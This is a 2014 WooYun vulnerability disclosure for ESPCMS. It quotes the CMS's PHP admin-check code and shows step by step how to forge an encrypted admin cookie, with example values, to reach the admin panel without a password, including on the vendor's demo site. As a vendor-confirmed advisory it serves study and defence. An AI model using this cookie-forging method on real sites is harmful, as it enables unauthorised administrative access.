当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078329

漏洞标题:ESPCMS 权限限定绕过直接登录后台(DEMO站测试通过)

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: JJ Fly

提交时间:2014-10-08 10:59

修复时间:2015-01-06 11:00

公开时间:2015-01-06 11:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-08: 细节已通知厂商并且等待厂商处理中
2014-10-08: 厂商已经确认,细节仅向厂商公开
2014-10-11: 细节向第三方安全合作伙伴开放
2014-12-02: 细节向核心白帽子及相关领域专家公开
2014-12-12: 细节向普通白帽子公开
2014-12-22: 细节向实习白帽子公开
2015-01-06: 细节向公众公开

简要描述:

ESPCMS 权限限定绕过直接登录后台
仅测试了 最新版本
然后demo测试进去看了一眼,别的什么也没做。

详细说明:

先看下 后台验证的代码

function softbase($admin_purview = false) {
header("Content-Type: text/html; charset=utf-8");
$this->dbmysql();
$this->commandinc();
$this->systemfile();
$this->cachedb();
if ($admin_purview) {
$this->admin_purview();
$this->sitelng = $this->getlng();
$action = $this->fun->accept('action', 'R');
if (in_array($action, $this->esp_powerlist) && !in_array('all', $this->esp_powerlist)) {
exit('Permissions errors');
}
}
if ($this->CON['is_gzip'] == 1 && !function_exists('ob_gzhandler')) {
ob_start('ob_gzhandler');
} else {
ob_start();
}
if ($runpage && $this->CON['is_close']) {
exit($this->CON['close_content']);
}
if (!admin_FROM) {
include admin_ROOT . adminfile . '/include/admin_language_' . db_lan . '.php';
$this->lng = $ST;
unset($ST);
} else {
$lngpack = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
if ($this->creat_lanpack($lngpack)) {
include admin_ROOT . 'datacache/' . $lngpack . '_pack.php';
}
$this->lng = $LANPACK;
$runpage = true;
}
}


调用了下面的函数。
$this->admin_purview();
然后继续查看代码

function admin_purview() {
if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
$gettype = false;
} else {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
$gettype = true;
}
$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));
$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));
list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;
$this->esp_adminuserid = intval($esp_adminuserid);
$this->esp_inputclassid = intval($esp_inputclassid);
$this->esp_powerid = intval($esp_powerid);
if ($gettype) {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {

$condition = 0;
} else {
$condition = 1;
}
} else {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {
if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
exit();
}
} else {
if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
exit();
}
}
}


然后重点验证的是下面的代码

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl)


$this->esp_username和$this->esp_adminuserid 可以在cookies中伪造。
而后面的 两个常量如下

admin_AGENT
define('admin_AGENT', $_SERVER['HTTP_USER_AGENT']);
admin_ClassURL
define('admin_ClassURL', 'http://' . $_SERVER['HTTP_HOST'] . substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/')) . '/');


可见,可进行伪造。
再来说下查看key
直接可以看索马里大牛的http://wooyun.org/bugs/wooyun-2010-062528
这里就不多说了。
来张截图进行下示例。

图片1.png


出来之后 然后挨个进行 加密解密测试。
最终可以得出key

漏洞证明:

下面我们开始伪造
cookies中ecisp_admininfo的加密前值如下。

1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)


下面我拿测试用的agent和classurl进行演示
Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
加密之后
efdd8e8dfc89de8875254f2e96f2eeb2
http://192.168.1.107/adminsoft
加密之后
962c6fbd63e97c6d6db74449a6bef874
password不进行验证,随便输入个wooyun
加密之后
fbb204a4061ffbd41284a84c258c1bfb
然后填充进去

1|admin|fbb204a4061ffbd41284a84c258c1bfb|efdd8e8dfc89de8875254f2e96f2eeb2|1|1|962c6fbd63e97c6d6db74449a6bef874


加密

Zq-XmKLPoa3LlJWUYpqVbWecaJybxspoZWRtZ5dsacllZp2VZMSYyLCencqbbpqcypqXam6Xm2xtnWhjmmaZlJefap9py5yYZ-CXsGWubmlol2vMlZWbZZibaclqnW3KmW1pmJptlWiXmJxsbJo


然后我们可以得出cookies的设定值
ecisp_admininfo 设定为
Zq-XmKLPoa3LlJWUYpqVbWecaJybxspoZWRtZ5dsacllZp2VZMSYyLCencqbbpqcypqXam6Xm2xtnWhjmmaZlJefap9py5yYZ-CXsGWubmlol2vMlZWbZZibaclqnW3KmW1pmJptlWiXmJxsbJo
esp_powerlist 设定为 all 的加密lp-i
managementloglistpgid 设定为0
managementmangerlistpgid 设定为0
开始进行伪造管理员
我们先打开

http://192.168.1.107/adminsoft/index.php


这个页面 然后开始填充cookies

图片2.png


然后访问下面的url

http://192.168.1.107/adminsoft/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter


图片3.png


好了下面我们来说下demo的
先注册个帐号。

图片4.png


然后 翻来覆去 获得key
b16dd02887<马赛克>eabab<马赛克>
然后我们访问

http://demo.ecisp.cn/adminsoft


再生成cookies
访问

http://demo.ecisp.cn/adminsoft/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter


图片5.png

修复方案:

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-10-08 14:53

厂商回复:

感谢您的提供,我们会对系统进行相关修复。

最新状态:

暂无